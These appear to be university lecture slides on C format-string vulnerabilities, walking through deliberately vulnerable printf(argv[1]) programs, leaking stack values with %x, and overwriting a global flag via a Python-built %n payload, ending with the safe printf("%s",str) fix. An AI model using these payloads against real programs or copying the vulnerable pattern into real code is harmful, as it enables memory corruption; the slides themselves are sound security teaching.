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Software Security 2

Format-string vulnerabilities

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Prerequisites

- Lecture:
  - Basic knowledge of C;
  - Basic knowledge of Python.

Outline

- Format-string vulnerabilities
- Leaking data
- Data Corruption

Format strings vulnerabilities

- *Format strings vulnerabilities* are a set of software bugs, identified in the second half of year 2000
- These vulnerabilities allow an attacker to read or to corrupt memory by relying on a wrong use of *format strings*

The format function family

- A number of *format functions* are defined in the ANSI C:
  - *printf, fprintf, sprint,….*
- All these functions take a *format string* and a sequence of data and produce a string to *print:*

```
printf("The answer is %d!",42);
```


Use of format functions

- Format functions…
  - Convert simple datatypes to a string representation;
  - Specify the format of the representation;
  - Process the resulting string (output to sdtout, syslog,…);
  - Can even change content of variables.
- A wrong use of format strings enables serious vulnerabilities!

String format vulnerabilities

- Let us consider the following simple C program that just *echoes* the content of the first argument (if any):

```
int main(int argc, char **argv)
{
    if (argc>1) {
       printf(argv[1]);
    } else {
       printf("Please, give me a value to echo!\n");
    }
    return 0;
}
```


String format vulnerabilities

- We can observe that in the program, the first argument is used as parameter of *printf:*

```
    printf(argv[1]);
} else {
```

- If this parameter is a *string format*, we can alter the expected behavior.

String format vulnerabilities

- For instance, we can let the program crash by passing a string composed by a sequence of "*%s*" (that is the format for *strings*):

```
[CC> ./echo %s%s%s%s%s%s%s%s%s%s
Segmentation fault (core dumped)
[CC>
```

- This is because when *printf* is executed, missing parameters are looked for in the stack!

String format vulnerabilities

- When we invoke a *format function*, parameters are placed in the stack, with the string format on the top;
- When executed, *printf* first retrieves the string format, hence it goes back up the stack to retrieve the other arguments;
- If we do not pass these argument, *other values* in the stack are used!

String format vulnerabilities

- When *printf* receives a (only) a sequence of *%s:*
  - for each *%s* a value is retrieved from stack and handled as an address;
  - If the retrieved data is an address belonging to the admitted program space, it is printed;
  - If it is not a valid address, an exception is generated.

View content of the stack

- *String format vulnerabilities* can be also used to read values in the stack.
- In this case *format %x* can be used to retrieve a value from the stack and print it in hexadecimal form
  - We can use *%nx* (where *n* is an integer) to print the value with n-digit;
  - We can use *%n$x* (where *n* is an integer) to jump to element n in the stack.

View content of the stack

- Let us consider the following variation of our program:

```
int main(int argc, char **argv)
{
    int value1=0xabababab;
    int value2=0xcdcdcdcd;
    int value3=0xefefefef;
    if (argc>1) {
       printf(argv[1]);
    } else {
       printf("Please, give me a value to echo!\n");
    }
    return 0;
}
```


View content of the stack

- We can use string format to print values in the stack:

```
CC> ./echo2 "%8x %8x %8x %8x %8x %8x %8x %8x "
       0 f7579a50  80484eb        2 abababab cdcdcdcd efefefef f76fd3dc
```

- If we want to read data in positions 5, 6, and 7:

```
CC> ./echo2 "%5\$10x %6\$10x %7\$10x "
  abababab   cdcdcdcd   efefefef CC>
```


Data corruption

- String format vulnerability can be also used to change values in memory.
- This can be done by using format *%n* that permits saving the number of characters printed in a memory location.
  - If we do not provide the target location, the first value in the stack is used!

Data corruption

- Let us consider the following code.

- By providing the appropriate input we can corrupt the value of flag.

```
int flag;

int main(int argc, char **argv)
{
    if (argc<1) {
       printf("Please, enter your name!\n");
    }

    printf(argv[1]);

    if (flag) {
       printf("\n\nYou win!\n");
    } else {
       printf("\n\nI'am sorry! Try again!");
    }

    return 0;
}
```


Data corruption

- To reach this goal we have to:
  - Find the address where *flag* is stored
  - Provide an input that let this address be at the top of the stack
  - Add the format *%n* at the end of the input.

```
int flag;

int main(int argc, char **argv)
{
    if (argc<1) {
       printf("Please, enter your name!\n");
    }

    printf(argv[1]);

    if (flag) {
       printf("\n\nYou win!\n");
    } else {
       printf("\n\nI'am sorry! Try again!");
    }

    return 0;
}
```


Data corruption

- The address of variable *flag* be obtained by using *objdump*:

```
[CC> objdump -t changeit | grep "flag"
0804a024 g     O .bss   00000004                flag
[CC>
```

- To put the value on top of the stack we pass to the program a string containing:
  - the address *0804a2024*
  - a sequence of *%x that reads values from the stack*
  - padding text to simplify the alignment.

Data corruption

- An inline python script can help us:



- Paddings and number of reads from the stack must be *adapted.*

Data corruption

- The result of the execution is:

```
CC> ./changeit "$(python -c "print 'AAAA'+'\x24\xa0\x04\x08'+'BBBBBBBB'+'%x '*128+'%x '")"
AAAA$BBBBBBBBffffd504 ffffd510 80484d1 ffffd470 0 0 f7e2d637 f7fc7000 f7fc7000 0 f7e2d637
2 ffffd504 ffffd510 0 0 0 f7fc7000 f7ffdc04 f7ffd000 0 f7fc7000 f7fc7000 0 4b9e52c0 719d5cd
0 0 0 0 2 8048340 0 f7fee010 f7fe8880 f7ffd000 2 8048340 0 8048361 804843b 2 ffffd504 80484
b0 8048510 f7fe8880 ffffd4fc f7ffd918 2 ffffd635 ffffd640 0 ffffd7d5 ffffd7e9 ffffd7fd ffff
d80d ffffd82d ffffd841 ffffd854 ffffd860 ffffdde8 ffffddfe ffffde8f ffffdea7 ffffdeb8 ffffd
ec1 ffffdec9 ffffdedb ffffdeed ffffdefc ffffdf3d ffffdf70 ffffdf7f ffffdf9f ffffdfbe ffffdf
e0 0 20 f7fd8ba0 21 f7fd8000 10 fabfbff 6 1000 11 64 3 8048034 4 20 5 9 7 f7fd9000 8 0 9 80
48340 b 3e8 c 3e8 d 3e8 e 3e8 17 0 19 ffffd61b 1f ffffdfed f ffffd62b 0 0 0 ce000000 59e572
f5 a59fda1b 5fe376da 691eee7f 363836 0 632f2e00 676e6168 746965 41414141 804a024

I'am sorry! Try again!CC>
```

The last element retrieved from the stack is exactly the memory address we want to change!

Data corruption

- We can change the script by replacing the last *%x* with a *%n*:

```
CC> ./changeit "$(python -c "print 'AAAA'+'\x24\xa0\x04\x08'+'BBBBBBBBB'+'%x '*128+'%x '")"
```

```
CC> ./changeit "$(python -c "print 'AAAA'+'\x24\xa0\x04\x08'+'BBBBBBBBB'+'%x '*128+'%n '")"
```


Data corruption

- This allow us to change the variable *flag*:

```
CC> ./changeit "$(python -c "print 'AAAA'+'\x24\xa0\x04\x08'+'BBBBBBBBB'+'%x '*128+'%n '")"
AAAA$BBBBBBBBBffffd504 ffffd510 80484d1 ffffd470 0 0 f7e2d637 f7fc7000 f7fc7000 0 f7e2d637
2 ffffd504 ffffd510 0 0 0 f7fc7000 f7ffdc04 f7ffd000 0 f7fc7000 f7fc7000 0 4cddf9cf 76def7d
f 0 0 0 2 8048340 0 f7fee010 f7fe8880 f7ffd000 2 8048340 0 8048361 804843b 2 ffffd504 80484
b0 8048510 f7fe8880 ffffd4fc f7ffd918 2 ffffd635 ffffd640 0 ffffd7d5 ffffd7e9 ffffd7fd ffff
d80d ffffd82d ffffd841 ffffd854 ffffd860 ffffdde8 ffffddfe ffffde8f ffffdea7 ffffdeb8 ffffd
ec1 ffffdec9 ffffdedb ffffdeed ffffdefc ffffdf3d ffffdf70 ffffdf7f ffffdf9f ffffdfbe ffffdf
e0 0 20 f7fd8ba0 21 f7fd8000 10 fabfbff 6 1000 11 64 3 8048034 4 20 5 9 7 f7fd9000 8 0 9 80
48340 b 3e8 c 3e8 d 3e8 e 3e8 17 0 19 ffffd61b 1f ffffdfed f ffffd62b 0 0 0 c3000000 8c658c
8b 271859ba e571f9e0 69dbb320 363836 0 632f2e00 676e6168 746965 41414141

You win!
CC>
```


Mitigations

- Format string vulnerabilities are quite easy to fix.
- Indeed, we have problems only when we pass to a *format function* a string containing *untrusted* or *user-supplied input:*

```
printf(str);
```

Unsafe

```
printf("%s",str);
```

Equivalent safe

- In the safe variant, the string will not be interpred as a *format.*

Software Security 2

Format-string vulnerabilities

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